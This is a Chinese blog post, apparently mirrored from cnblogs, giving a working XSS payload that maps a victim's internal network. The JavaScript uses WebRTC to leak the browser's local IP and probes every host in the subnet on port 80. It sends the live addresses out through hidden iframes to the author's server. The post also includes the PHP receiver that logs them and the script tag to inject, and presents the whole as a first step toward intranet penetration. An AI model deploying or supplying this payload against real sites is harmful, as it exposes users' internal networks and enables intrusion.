zoukankan      html  css  js  c++  java
  • xss实现获取内网ip

    前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC,

    再在xss平台直接复制如下js代码:

     1 function form_ip(ip,port){ 
     2     var iframe = document.createElement("iframe");                //通过iframe将可访问的内网ip传给服务器。
     3     iframe.setAttribute("src","http://192.168.155.2/rev.php?ip=" + ip + "&port=" + port);//这里是服务器的ip
     4     iframe.setAttribute("style","display:none")
     5     var TagName = document.getElementsByTagName("body")[0];
     6     TagName.appendChild(iframe);
     7 }
     8 function getIPs(callback){
     9     var ip_dups = {};
    10     var RTCPeerConnection = window.RTCPeerConnection
    11         || window.mozRTCPeerConnection
    12         || window.webkitRTCPeerConnection;
    13     var mediaConstraints = {
    14         optional: [{RtpDataChannels: true}]
    15     };
    16     var servers = undefined;
    17     if(window.webkitRTCPeerConnection)
    18         servers = {iceServers: []};
    19     var pc = new RTCPeerConnection(servers, mediaConstraints);
    20     pc.onicecandidate = function(ice){
    21         if(ice.candidate){
    22             var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
    23             var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
    24             if(ip_dups[ip_addr] === undefined)
    25                 callback(ip_addr);
    26             ip_dups[ip_addr] = true;
    27         }
    28     };
    29     pc.createDataChannel("");
    30     pc.createOffer(function(result){
    31         pc.setLocalDescription(result, function(){});
    32 
    33     }, function(){});
    34 }//通过weprtc获取内网ip
    35 getIPs(function(ip){ 
    36     ip = ip.split(".");
    37     ip.pop();
    38     ip = ip.join(".");
    39     for(var i = 1;i<=255;i++){
    40         var script = document.createElement("script");
    41         var ip_url = ip + "." + i + ":80";
    42         script.setAttribute("src","http://" + ip_url);
    43         script.setAttribute("onload","form_ip('" + ip + "." + i + "','80')");//通过遍历,如果内网的ip有80端口服务,执行form_ip函数
    44         var TagName = document.getElementsByTagName("body")[0];
    45         TagName.appendChild(script);
    46     }
    47 });
    我们可以在有xss注入的地方插入:<script src="http://xss平台的地址"></script>
    在谷歌浏览器看控制台信息,已经将内网ip发送给服务器了。


    http://192.168.155.2这里是我服务器的ip.
    服务器接受的代码是:
    1 <?php
    2 $ip=$_REQUEST['ip'];
    3 $port=$_REQUEST['port'];
    4 $myfile=fopen("ip.txt","a");
    5 fwrite($myfile,$ip.':'.$port.'   ');
    6 fclose($myfile);
    7 ?>

    下面是服务器接受到的ip:

     接下来就是可以内网渗透了。



  • 相关阅读:
    Linux 文件系统层次结构 笔记 day 02
    新买服务器 设置ssh秘钥登录
    FastSocket客户端/服务端通讯示例 客户端被动接收
    FastSocket学习笔记~制定自已的传输协议~续~制定基于FastSocket的协议
    Oracle 查看表空间使用率
    Oracle查看用户占用的表空间大小
    failed to flush export bulk [default_local]
    Elasticsearch7.x配置文件
    master not discovered yet, this node has not previously joined a bootstrapped (v7+) cluster
    4.4 rust Smart Pointers Box and Deref 及 空针指
  • 原文地址:https://www.cnblogs.com/afanti/p/8325226.html
Copyright © 2011-2022 走看看